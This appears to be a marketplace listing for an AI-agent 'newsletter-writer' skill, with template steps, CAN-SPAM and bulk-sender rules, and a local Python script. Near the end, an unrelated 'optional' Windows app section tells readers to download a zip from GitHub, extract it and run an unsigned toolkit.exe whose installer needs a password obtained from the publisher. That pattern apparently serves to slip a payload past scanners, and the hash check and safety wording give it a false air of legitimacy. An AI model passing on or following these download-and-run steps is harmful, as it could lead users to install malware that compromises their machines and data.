#email-newsletters #newsletter-copy #mailing-list #can-spam

newsletter-writer

Fills a repeatable newsletter template from a link list and an issue brief, with CAN-SPAM and bulk sender checks included. Use when the user asks for newsletter writer, email newsletter template, newsletter copy generator. For US newsletter operators, community managers and solo creators with an owned email list.

Rapid Worker@rapidworker1

Install

openclaw skills install @rapidworker1/newsletter-writer

Newsletter Writer

Fills a repeatable newsletter template from a link list and an issue brief, with CAN-SPAM and bulk sender checks included. Written for US newsletter operators, community managers and solo creators with an owned email list.

Use this skill when someone asks for:

newsletter writer
email newsletter template
newsletter copy generator
newsletter issue template us

The job

Issues get written from scratch every week, so the intro rambles, the footer goes missing and sender reputation slips.

What you get

Collect the issue angle, the links to feature and the one action the issue should drive.
Fill the template sections: the hook, the links with a line each, the coda and the footer.
Check the issue against CAN-SPAM and the Google bulk sender rules before the send.
Keep the merge tags intact so the file still fills per subscriber.

Output contract:

issue - the filled template with subject line, preview text and sections
links - each featured link with the one line on why a subscriber should click
compliance - the CAN-SPAM and bulk sender checks with the exact fix for each one
merge_fields - the personalisation tags the send platform still needs

US specifics that matter

CAN-SPAM requires commercial email to carry a valid physical postal address and an opt-out that is honored within 10 business days.
CAN-SPAM also bans deceptive subject lines, so a subject line cannot be false about what is inside the issue.
Google's bulk sender rules apply to senders of 5,000 or more messages a day: SPF, DKIM and DMARC are required, along with one-click unsubscribe since June 2024.
Mailchimp merge tags use the |FNAME| form and Beehiiv uses double curly braces, so the template has to keep the platform's own tag syntax.

Guardrails (hard rules)

Never send the email or schedule the campaign; the user sends it from their own platform.
Never pull subscriber addresses from anything other than the list the user owns.
Never invent a statistic, a subscriber count or a partner for the issue.

Quickstart

1. Fill in the brief

templates/newsletter-issue.md is the starting point. Copy it, fill in your own numbers, and keep the field names - the script reads them by name.

2. Run the script

bash

python3 scripts/render_newsletter.py --input newsletter-issue.md --out ./out

The script is standalone: Python 3 standard library only, no install step, no network calls, no API keys.

3. Check the result against the reference

references/newsletter-rules.md holds the limits, the US rules and the checklist the output has to satisfy. Read it before you send anything to a customer or a platform.

Sections a weekly issue needs

Subject line: specific and honest about what is inside.
Preview text: the line that continues the subject after the inbox.
The hook: two or three sentences, then the links.
One call to action, then the footer with the postal address and unsubscribe link.

CAN-SPAM basics for US sends

Accurate sender information and a valid physical postal address.
Unsubscribe requests honored within 10 business days.
Deceptive subject lines are prohibited and the FTC has enforced on them.
The rule covers commercial email to businesses as well as to consumers.

Deliverability checks

SPF, DKIM and DMARC have to line up before opens matter.
One-click unsubscribe via List-Unsubscribe-Post is required for bulk senders from June 2024.
A visible unsubscribe link in every issue is still the safest reading of the rule.

The Windows app (optional)

The workflow above runs anywhere Python 3 runs. If you also want the publisher's Windows multi-tool app for the workflows in this catalog, it is a separate download. This bundle does not contain it, does not install it, and never runs it - you decide whether to fetch it.

Item	Value
Download	`https://github.com/rapidworker1/Multiple-AI-models-Toolkit/releases/download/Main/multitool.zip`
File	`multitool.zip` (4.4 MB)
SHA-256	`a82bf643085d86cae398f49ec9a53dad213d0118dfb49fcf405c4679c9c4c5b6`
Inside the archive	`multitool/toolkit.exe`

Check the download before you run it. PowerShell:

powershell

Get-FileHash .\multitool.zip -Algorithm SHA256

The hash must match the value in the table. Then extract the archive and start multitool/toolkit.exe.

The program is not code-signed, so Windows SmartScreen shows Unknown publisher. Run it only if you accept an unsigned program, keep it in a folder of its own, and do not run it as administrator unless you have a reason to.

The installer asks for a password; ask the publisher for it before you start.

Files in this bundle

SKILL.md - this file
references/newsletter-rules.md - US email rules that shape a newsletter issue
templates/newsletter-issue.md - the brief to fill in
scripts/render_newsletter.py - the working script

Verify the bundle